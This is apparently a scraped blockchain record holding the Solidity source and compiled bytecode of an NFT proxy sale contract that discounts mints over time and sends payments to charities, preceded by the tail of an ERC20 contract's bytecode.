00000000081526004016107c890610f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f42565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ee2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e62565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610ea2565b60405180910390fd5b8181610aa99190610fea565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610f94565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f42565b60405180910390a350505050565b505050565b600081359050610bbf81611370565b92915050565b600081359050610bd481611387565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611030565b82525050565b6000610ce482610f78565b610cee8185610f83565b9350610cfe818560208601611073565b610d0781611136565b840191505092915050565b6000610d1f602383610f83565b9150610d2a82611147565b604082019050919050565b6000610d42602283610f83565b9150610d4d82611196565b604082019050919050565b6000610d65602683610f83565b9150610d70826111e5565b604082019050919050565b6000610d88602883610f83565b9150610d9382611234565b604082019050919050565b6000610dab602583610f83565b9150610db682611283565b604082019050919050565b6000610dce602483610f83565b9150610dd9826112d2565b604082019050919050565b6000610df1602583610f83565b9150610dfc82611321565b604082019050919050565b610e108161105c565b82525050565b610e1f81611066565b82525050565b6000602082019050610e3a6000830184610cca565b92915050565b60006020820190508181036000830152610e5a8184610cd9565b905092915050565b60006020820190508181036000830152610e7b81610d12565b9050919050565b60006020820190508181036000830152610e9b81610d35565b9050919050565b60006020820190508181036000830152610ebb81610d58565b9050919050565b60006020820190508181036000830152610edb81610d7b565b9050919050565b60006020820190508181036000830152610efb81610d9e565b9050919050565b60006020820190508181036000830152610f1b81610dc1565b9050919050565b60006020820190508181036000830152610f3b81610de4565b9050919050565b6000602082019050610f576000830184610e07565b92915050565b6000602082019050610f726000830184610e16565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f9f8261105c565b9150610faa8361105c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fdf57610fde6110d8565b5b828201905092915050565b6000610ff58261105c565b91506110008361105c565b925082821015611013576110126110d8565b5b828203905092915050565b60006110298261103c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611091578082015181840152602081019050611076565b838111156110a0576000848401525b50505050565b600060028204905060018216806110be57607f821691505b602082108114156110d2576110d1611107565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6113798161101e565b811461138457600080fd5b50565b6113908161105c565b811461139b57600080fd5b5056fea2646970667358221220e8fb64aed3e9d752982ddfeae8aca655dc146c524fad668af56d4cdaa874945964736f6c63430008010033
[ 38 ]
0xf3752bc7d33cc2c20e1fca860c451c5497de86c5
pragma solidity ^0.8.0; // THIS IS THE BASTARD GAN PUNKS V2 PROXY SALE CONTRACT: // THE CONTRACT IS WRITTEN TO CATAPULT A NEW PRICING MODEL TO KILL THE BONDING CURVE ON ORIGINAL CONTRACT, TO GIVE NEW MINTS TO USERS VIA DISCOUNTED PRICE. AND ALL INCOME FROM MINTS DIRECTLY GO TO CHARITIES OF MINTER'S CHOICE. // LONG LIVE BASTARDS! // WHAT THIS CONTRACT BASICALLY DOES IS: // THE PRICE GRADUALLY DECREASES EVERY SECOND, AND WHEN SOMEONE ADOPTS A BASTARD FROM HERE, FEE IS DIRECTLY TRANSFERRED TO CHARITY, AND THIS CONTRACT ADOPTS A BASTARD FROM ORIGINAL CONTRACT WITH ORIGINAL PRICE, AND TRANSFERS TO THE MINTER. // Project website: https://bastardganpunks.club // berk aka PrincessCamel - https://berkozdemir.com /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } interface BGANPUNKSV2 { function calculatePrice() external view returns (uint256); function adoptBASTARD(uint256 numBastards) external payable; function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; function totalSupply() external view returns (uint256); } // THIS IS WHERE THE MAGIC HAPPENS contract BASTARDGANPUNKSV2PROXYSALE is Ownable, IERC721Receiver { address payable public treasuryAddress; uint256 public startTime; bool public saleRunning = false; uint256 private two = 2; uint256 public startprice; uint256 public discountPerSecond; uint256 public halvingTimeInterval; address public BGANPUNKSV2ADDRESS = 0x31385d3520bCED94f77AaE104b406994D8F2168C; struct Charity { string name; address charityAddress; } Charity[] public charities; event saleStarted( uint indexed startTime, uint indexed startPrice, uint indexed halvingTimeInterval); event charityAdded(string indexed _name, address indexed _address); event charityEdited(uint indexed _index, string indexed _name, address indexed _address); event charityRemoved(uint indexed _index); event donationSent(string indexed charityName, uint indexed amount); constructor(address payable _treasuryAddress) { treasuryAddress = _treasuryAddress; } receive() external payable {} function startSale(uint256 _startPrice, uint256 _halvingInterval) public onlyOwner { startTime = block.timestamp; startprice = _startPrice; halvingTimeInterval = _halvingInterval; discountPerSecond = startprice / halvingTimeInterval / two; saleRunning = true; emit saleStarted(startTime, _startPrice, _halvingInterval); } function pauseSale() public onlyOwner { saleRunning = false; } function resumeSale() public onlyOwner { saleRunning = true; } // SET CHARITIES AND VIEW function addCharity(address _address, string memory _name) public onlyOwner { charities.push(Charity(_name, _address)); emit charityAdded(_name, _address); } function editCharity( uint256 index, address _address, string memory _name ) public onlyOwner { charities[index].name = _name; charities[index].charityAddress = _address; emit charityEdited(index, _name, _address); } function removeCharityNoOrder(uint index) public onlyOwner { charities[index] = charities[charities.length - 1]; charities.pop(); emit charityRemoved(index); } function getCharityCount() public view returns (uint256) { return charities.length; } function getCharities() public view returns (Charity[] memory) { return charities; } function getCharity(uint index) public view returns (Charity memory) { require(index < charities.length, "YOU REQUESTED A CHARITY OUTSIDE THE RANGE PAL"); return charities[index]; } // MINTING BASTARDS - CALCULATING PRICE AND TIME function howManySecondsElapsed() public view returns (uint256) { if(saleRunning) { return block.timestamp - startTime; } else { return 0; } } function calculateDiscountedPrice() public view returns (uint256) { require(saleRunning, "SALE HASN'T STARTED OR PAUSED"); uint256 elapsed = block.timestamp - startTime; uint256 factorpow = elapsed / halvingTimeInterval; uint256 priceFactor = two ** factorpow; uint256 howmanyseconds = elapsed % halvingTimeInterval * discountPerSecond / priceFactor; uint256 finalPrice = startprice / priceFactor - howmanyseconds; return finalPrice; } function calculateDiscountedPriceTest(uint256 elapsedTime) public view returns (uint256) { require(saleRunning, "SALE HASN'T STARTED OR PAUSED"); uint256 factorpow = elapsedTime / halvingTimeInterval; uint256 priceFactor = two**factorpow; uint256 howmanyseconds = elapsedTime % halvingTimeInterval * discountPerSecond / priceFactor; uint256 finalPrice = startprice / priceFactor - howmanyseconds; return finalPrice; } function adoptCheaperBASTARD(uint256 _charitychoice, uint256 _amount) public payable { uint256 originalPrice = BGANPUNKSV2(BGANPUNKSV2ADDRESS).calculatePrice() * _amount; require( msg.value >= calculateDiscountedPrice() * _amount, "YOU HAVEN'T PAID ENOUGH LOL" ); require( _charitychoice < charities.length, "U CHOSE A CHARITY THAT DOESN'T EXIST" ); payable(charities[_charitychoice].charityAddress).transfer(msg.value); BGANPUNKSV2(BGANPUNKSV2ADDRESS).adoptBASTARD{value: originalPrice}( _amount ); uint256 total = BGANPUNKSV2(BGANPUNKSV2ADDRESS).totalSupply(); for (uint256 i = total - _amount; i < total; i++) { BGANPUNKSV2(BGANPUNKSV2ADDRESS).safeTransferFrom( address(this), msg.sender, i, "" ); } emit donationSent(charities[_charitychoice].name, msg.value); } // ADD - REMOVE FUNDS TO MAKE THIS CONTRACT ABLE TO BUY BASTARDS FROM THE ORIGINAL BGANPUNKSV2 CONTRACT function addFundsToContract() public payable onlyOwner { payable(address(this)).transfer(msg.value); } function returnFunds() public onlyOwner { treasuryAddress.transfer(address(this).balance); } function setTreasuryAddress(address payable _address) public onlyOwner { treasuryAddress = _address; } // SOME BORING STUFF THAT IS NEEDED function onERC721Received( address, address, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC721Received.selector; } }
0x6080604052600436106101bb5760003560e01c806378bb01cc116100ec578063c8c3ee7f1161008a578063f2fde38b11610064578063f2fde38b1461056b578063f4f3122e14610594578063fb709d2e146105bd578063fd67db81146105fb576101c2565b8063c8c3ee7f146104ec578063ca057f6614610517578063e6cdbfe714610540576101c2565b8063a4e8d2bf116100c6578063a4e8d2bf14610461578063abc735de1461048c578063c5f956af14610496578063c7f8e7f3146104c1576101c2565b806378bb01cc146103e057806378e979251461040b5780638da5cb5b14610436576101c2565b806348112c6f11610159578063715018a611610133578063715018a6146103595780637185a44b1461037057806372f7bec81461039b57806375ceb0d9146103c4576101c2565b806348112c6f146102ee57806355367ba9146103195780636605bfda14610330576101c2565b80631eb5ea2e116101955780631eb5ea2e1461026a5780632f8383961461028157806333e364cb146102ac5780633779a3b6146102c3576101c2565b80630c825e58146101c7578063150b7a02146101f05780631e9bc8c11461022d576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101ee60048036038101906101e9919061227f565b610638565b005b3480156101fc57600080fd5b506102176004803603810190610212919061215e565b6107fd565b6040516102249190612781565b60405180910390f35b34801561023957600080fd5b50610254600480360381019061024f919061222d565b610811565b60405161026191906128ae565b60405180910390f35b34801561027657600080fd5b5061027f6108d9565b005b34801561028d57600080fd5b506102966109c0565b6040516102a391906128ae565b60405180910390f35b3480156102b857600080fd5b506102c16109f4565b005b3480156102cf57600080fd5b506102d8610a8d565b6040516102e59190612766565b60405180910390f35b3480156102fa57600080fd5b50610303610aa0565b6040516103109190612744565b60405180910390f35b34801561032557600080fd5b5061032e610be7565b005b34801561033c57600080fd5b5061035760048036038101906103529190612135565b610c80565b005b34801561036557600080fd5b5061036e610d40565b005b34801561037c57600080fd5b50610385610e7a565b60405161039291906128ae565b60405180910390f35b3480156103a757600080fd5b506103c260048036038101906103bd91906121d9565b610e87565b005b6103de60048036038101906103d991906122e6565b61101c565b005b3480156103ec57600080fd5b506103f561149c565b60405161040291906128ae565b60405180910390f35b34801561041757600080fd5b506104206114a2565b60405161042d91906128ae565b60405180910390f35b34801561044257600080fd5b5061044b6114a8565b60405161045891906126c4565b60405180910390f35b34801561046d57600080fd5b506104766114d1565b60405161048391906128ae565b60405180910390f35b6104946114d7565b005b3480156104a257600080fd5b506104ab61159c565b6040516104b891906126df565b60405180910390f35b3480156104cd57600080fd5b506104d66115c2565b6040516104e391906128ae565b60405180910390f35b3480156104f857600080fd5b506105016115c8565b60405161050e91906126c4565b60405180910390f35b34801561052357600080fd5b5061053e6004803603810190610539919061222d565b6115ee565b005b34801561054c57600080fd5b5061055561184d565b60405161056291906128ae565b60405180910390f35b34801561057757600080fd5b50610592600480360381019061058d919061210c565b611926565b005b3480156105a057600080fd5b506105bb60048036038101906105b691906122e6565b611acf565b005b3480156105c957600080fd5b506105e460048036038101906105df919061222d565b611bd3565b6040516105f292919061279c565b60405180910390f35b34801561060757600080fd5b50610622600480360381019061061d919061222d565b611caf565b60405161062f919061288c565b60405180910390f35b610640611e40565b73ffffffffffffffffffffffffffffffffffffffff1661065e6114a8565b73ffffffffffffffffffffffffffffffffffffffff16146106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab9061280c565b60405180910390fd5b80600984815481106106ef577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016000019080519060200190610713929190611e48565b50816009848154811061074f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff16816040516107c39190612696565b6040518091039020847f4305d18b4494b4ef78a02e589a6f6aa38b428221a4246f40fee8b2d84a7e735860405160405180910390a4505050565b600063150b7a0260e01b9050949350505050565b6000600360009054906101000a900460ff16610862576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108599061284c565b60405180910390fd5b60006007548361087291906129e7565b90506000816004546108849190612a6b565b90506000816006546007548761089a9190612d8b565b6108a49190612b89565b6108ae91906129e7565b9050600081836005546108c191906129e7565b6108cb9190612be3565b905080945050505050919050565b6108e1611e40565b73ffffffffffffffffffffffffffffffffffffffff166108ff6114a8565b73ffffffffffffffffffffffffffffffffffffffff1614610955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094c9061280c565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156109bd573d6000803e3d6000fd5b50565b6000600360009054906101000a900460ff16156109ec57600254426109e59190612be3565b90506109f1565b600090505b90565b6109fc611e40565b73ffffffffffffffffffffffffffffffffffffffff16610a1a6114a8565b73ffffffffffffffffffffffffffffffffffffffff1614610a70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a679061280c565b60405180910390fd5b6001600360006101000a81548160ff021916908315150217905550565b600360009054906101000a900460ff1681565b60606009805480602002602001604051908101604052809291908181526020016000905b82821015610bde5783829060005260206000209060020201604051806040016040529081600082018054610af790612cdf565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2390612cdf565b8015610b705780601f10610b4557610100808354040283529160200191610b70565b820191906000526020600020905b815481529060010190602001808311610b5357829003601f168201915b505050505081526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505081526020019060010190610ac4565b50505050905090565b610bef611e40565b73ffffffffffffffffffffffffffffffffffffffff16610c0d6114a8565b73ffffffffffffffffffffffffffffffffffffffff1614610c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5a9061280c565b60405180910390fd5b6000600360006101000a81548160ff021916908315150217905550565b610c88611e40565b73ffffffffffffffffffffffffffffffffffffffff16610ca66114a8565b73ffffffffffffffffffffffffffffffffffffffff1614610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf39061280c565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610d48611e40565b73ffffffffffffffffffffffffffffffffffffffff16610d666114a8565b73ffffffffffffffffffffffffffffffffffffffff1614610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db39061280c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600980549050905090565b610e8f611e40565b73ffffffffffffffffffffffffffffffffffffffff16610ead6114a8565b73ffffffffffffffffffffffffffffffffffffffff1614610f03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efa9061280c565b60405180910390fd5b600960405180604001604052808381526020018473ffffffffffffffffffffffffffffffffffffffff1681525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000019080519060200190610f75929190611e48565b5060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050508173ffffffffffffffffffffffffffffffffffffffff1681604051610fe49190612696565b60405180910390207f2758040f7c4cdf548afa4be1444dc4936980ea205720a46007836076aa783f1160405160405180910390a35050565b600081600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d348b4096040518163ffffffff1660e01b815260040160206040518083038186803b15801561108757600080fd5b505afa15801561109b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bf9190612256565b6110c99190612b89565b9050816110d461184d565b6110de9190612b89565b341015611120576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111179061282c565b60405180910390fd5b6009805490508310611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e906127ec565b60405180910390fd5b600983815481106111a1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611218573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636863c4f482846040518363ffffffff1660e01b815260040161127591906128ae565b6000604051808303818588803b15801561128e57600080fd5b505af11580156112a2573d6000803e3d6000fd5b50505050506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561131157600080fd5b505afa158015611325573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113499190612256565b9050600083826113599190612be3565b90505b8181101561140857600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b88d4fde3033846040518463ffffffff1660e01b81526004016113c3939291906126fa565b600060405180830381600087803b1580156113dd57600080fd5b505af11580156113f1573d6000803e3d6000fd5b50505050808061140090612d42565b91505061135c565b503460098581548110611444577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160000160405161146291906126ad565b60405180910390207ff6b5e75f5eb45da2732178cb398223127fe363b3b018d50877b3f5ef568f31c560405160405180910390a350505050565b60065481565b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60055481565b6114df611e40565b73ffffffffffffffffffffffffffffffffffffffff166114fd6114a8565b73ffffffffffffffffffffffffffffffffffffffff1614611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a9061280c565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611599573d6000803e3d6000fd5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6115f6611e40565b73ffffffffffffffffffffffffffffffffffffffff166116146114a8565b73ffffffffffffffffffffffffffffffffffffffff161461166a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116619061280c565b60405180910390fd5b6009600160098054905061167e9190612be3565b815481106116b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201600982815481106116fd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201600082018160000190805461171f90612cdf565b61172a929190611ece565b506001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090505060098054806117cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000209060020201600080820160006117f29190611f5b565b6001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055807ff5d7d0698ce0f748a4c523fff3a8359c99802dd2df70844e3779395bd14040d360405160405180910390a250565b6000600360009054906101000a900460ff1661189e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118959061284c565b60405180910390fd5b6000600254426118ae9190612be3565b90506000600754826118c091906129e7565b90506000816004546118d29190612a6b565b9050600081600654600754866118e89190612d8b565b6118f29190612b89565b6118fc91906129e7565b90506000818360055461190f91906129e7565b6119199190612be3565b9050809550505050505090565b61192e611e40565b73ffffffffffffffffffffffffffffffffffffffff1661194c6114a8565b73ffffffffffffffffffffffffffffffffffffffff16146119a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119999061280c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a09906127cc565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611ad7611e40565b73ffffffffffffffffffffffffffffffffffffffff16611af56114a8565b73ffffffffffffffffffffffffffffffffffffffff1614611b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b429061280c565b60405180910390fd5b426002819055508160058190555080600781905550600454600754600554611b7391906129e7565b611b7d91906129e7565b6006819055506001600360006101000a81548160ff02191690831515021790555080826002547f4592e5bca5821712174f269754e5a73f54e9e1dd085e94115adcd0b0aff9b3a060405160405180910390a45050565b60098181548110611be357600080fd5b9060005260206000209060020201600091509050806000018054611c0690612cdf565b80601f0160208091040260200160405190810160405280929190818152602001828054611c3290612cdf565b8015611c7f5780601f10611c5457610100808354040283529160200191611c7f565b820191906000526020600020905b815481529060010190602001808311611c6257829003601f168201915b5050505050908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b611cb7611f9b565b6009805490508210611cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf59061286c565b60405180910390fd5b60098281548110611d38577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201604051806040016040529081600082018054611d6190612cdf565b80601f0160208091040260200160405190810160405280929190818152602001828054611d8d90612cdf565b8015611dda5780601f10611daf57610100808354040283529160200191611dda565b820191906000526020600020905b815481529060010190602001808311611dbd57829003601f168201915b505050505081526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250509050919050565b600033905090565b828054611e5490612cdf565b90600052602060002090601f016020900481019282611e765760008555611ebd565b82601f10611e8f57805160ff1916838001178555611ebd565b82800160010185558215611ebd579182015b82811115611ebc578251825591602001919060010190611ea1565b5b509050611eca9190611fcb565b5090565b828054611eda90612cdf565b90600052602060002090601f016020900481019282611efc5760008555611f4a565b82601f10611f0d5780548555611f4a565b82800160010185558215611f4a57600052602060002091601f016020900482015b82811115611f49578254825591600101919060010190611f2e565b5b509050611f579190611fcb565b5090565b508054611f6790612cdf565b6000825580601f10611f795750611f98565b601f016020900490600052602060002090810190611f979190611fcb565b5b50565b604051806040016040528060608152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b5b80821115611fe4576000816000905550600101611fcc565b5090565b6000611ffb611ff6846128ee565b6128c9565b90508281526020810184848401111561201357600080fd5b61201e848285612c9d565b509392505050565b60006120396120348461291f565b6128c9565b90508281526020810184848401111561205157600080fd5b61205c848285612c9d565b509392505050565b60008135905061207381613001565b92915050565b60008135905061208881613018565b92915050565b600082601f83011261209f57600080fd5b81356120af848260208601611fe8565b91505092915050565b600082601f8301126120c957600080fd5b81356120d9848260208601612026565b91505092915050565b6000813590506120f18161302f565b92915050565b6000815190506121068161302f565b92915050565b60006020828403121561211e57600080fd5b600061212c84828501612064565b91505092915050565b60006020828403121561214757600080fd5b600061215584828501612079565b91505092915050565b6000806000806080858703121561217457600080fd5b600061218287828801612064565b945050602061219387828801612064565b93505060406121a4878288016120e2565b925050606085013567ffffffffffffffff8111156121c157600080fd5b6121cd8782880161208e565b91505092959194509250565b600080604083850312156121ec57600080fd5b60006121fa85828601612064565b925050602083013567ffffffffffffffff81111561221757600080fd5b612223858286016120b8565b9150509250929050565b60006020828403121561223f57600080fd5b600061224d848285016120e2565b91505092915050565b60006020828403121561226857600080fd5b6000612276848285016120f7565b91505092915050565b60008060006060848603121561229457600080fd5b60006122a2868287016120e2565b93505060206122b386828701612064565b925050604084013567ffffffffffffffff8111156122d057600080fd5b6122dc868287016120b8565b9150509250925092565b600080604083850312156122f957600080fd5b6000612307858286016120e2565b9250506020612318858286016120e2565b9150509250929050565b600061232e838361260d565b905092915050565b61233f81612c29565b82525050565b61234e81612c17565b82525050565b61235d81612c17565b82525050565b600061236e82612975565b6123788185612998565b93508360208202850161238a85612950565b8060005b858110156123c657848403895281516123a78582612322565b94506123b28361298b565b925060208a0199505060018101905061238e565b50829750879550505050505092915050565b6123e181612c3b565b82525050565b6123f081612c47565b82525050565b600061240182612980565b61240b81856129ba565b935061241b818560208601612cac565b61242481612e78565b840191505092915050565b600061243a82612980565b61244481856129cb565b9350612454818560208601612cac565b61245d81612e78565b840191505092915050565b600061247382612980565b61247d81856129dc565b935061248d818560208601612cac565b80840191505092915050565b600081546124a681612cdf565b6124b081866129dc565b945060018216600081146124cb57600181146124dc5761250f565b60ff1983168652818601935061250f565b6124e585612960565b60005b83811015612507578154818901526001820191506020810190506124e8565b838801955050505b50505092915050565b60006125256026836129cb565b915061253082612e96565b604082019050919050565b6000612548602483612